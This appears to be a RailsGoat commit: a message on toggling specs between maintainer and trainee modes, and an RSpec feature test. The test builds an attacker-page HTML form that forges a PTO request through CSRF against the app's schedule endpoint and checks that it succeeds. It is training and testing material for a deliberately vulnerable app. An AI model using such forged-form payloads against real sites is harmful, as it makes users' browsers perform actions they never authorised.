911a52ee83
This isn't the cleanest approach, but should be good for now. Obviously, there are two contexts for these specs: one is from the maintainer's standpoint, the other is from the trainee who is using RailsGoat for training. The maintainer wants all of these specs to pass, to ensure the vulnerabilities are still functional as vulnerabilities. The trainee could potentially use these specs (though reading the specs contains spoilers) to track and verify their fixes. I've wired in a pending block around each assertion that checks a method to see what the result of the pending call would be. You can see examples of how this works with conditions here: https://www.relishapp.com/rspec/rspec-core/v/2-14/docs/pending/pending-examples This means these specs will all fail now by default (the trainee context), but will pass, when vulnerable, if the RAILSGOAT_MAINTAINER env var is set. The only flaw at the moment is that in the trainee context, fixing the vulnerabilities will result in the specs going from failing to _pending_, not passing (which makes sense, given how we're using RSpec's pending functionality). Maybe it'd be simpler/better to have a boolean toggle of our own somehow wrap the assertions in blocks to do explicitly what we want (flip-flop the result based on the context).
44 lines
1.4 KiB
Ruby
44 lines
1.4 KiB
Ruby
require 'spec_helper'
|
|
require 'tmpdir'
|
|
|
|
feature 'csrf' do
|
|
before do
|
|
UserFixture.reset_all_users
|
|
@normal_user = UserFixture.normal_user
|
|
end
|
|
|
|
scenario 'csrf attack to pto', :js => true do
|
|
visit '/'
|
|
# TODO: is there a way to get this without visiting root first?
|
|
base_url = current_url
|
|
|
|
login @normal_user
|
|
|
|
Dir.mktmpdir do |dir|
|
|
hackety_file = File.join(dir, 'form.on.bad.guy.site.html')
|
|
post_url = "#{base_url}schedule.json"
|
|
File.open(hackety_file, 'w') do |f|
|
|
f.print <<-HTML
|
|
<html>
|
|
<body>
|
|
<form id='submit_me' action="#{post_url}" method="POST">
|
|
<input type="hidden" name="schedule[event_name]" value="Bad Guy" />
|
|
<input type="hidden" name="schedule[event_type]" value="pto" />
|
|
<input type="hidden" name="schedule[event_desc]" value="Fun Fun" />
|
|
<input type="hidden" name="date_range1" value="06/08/2013 - 06/09/2013" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
HTML
|
|
end
|
|
|
|
page.driver.visit "file://#{hackety_file}"
|
|
within('#submit_me') do
|
|
click_on 'Submit request'
|
|
end
|
|
end
|
|
|
|
pending(:if => verifying_fixed?) { @normal_user.reload.paid_time_off.schedule.last.event_name.should == 'Bad Guy' }
|
|
end
|
|
end |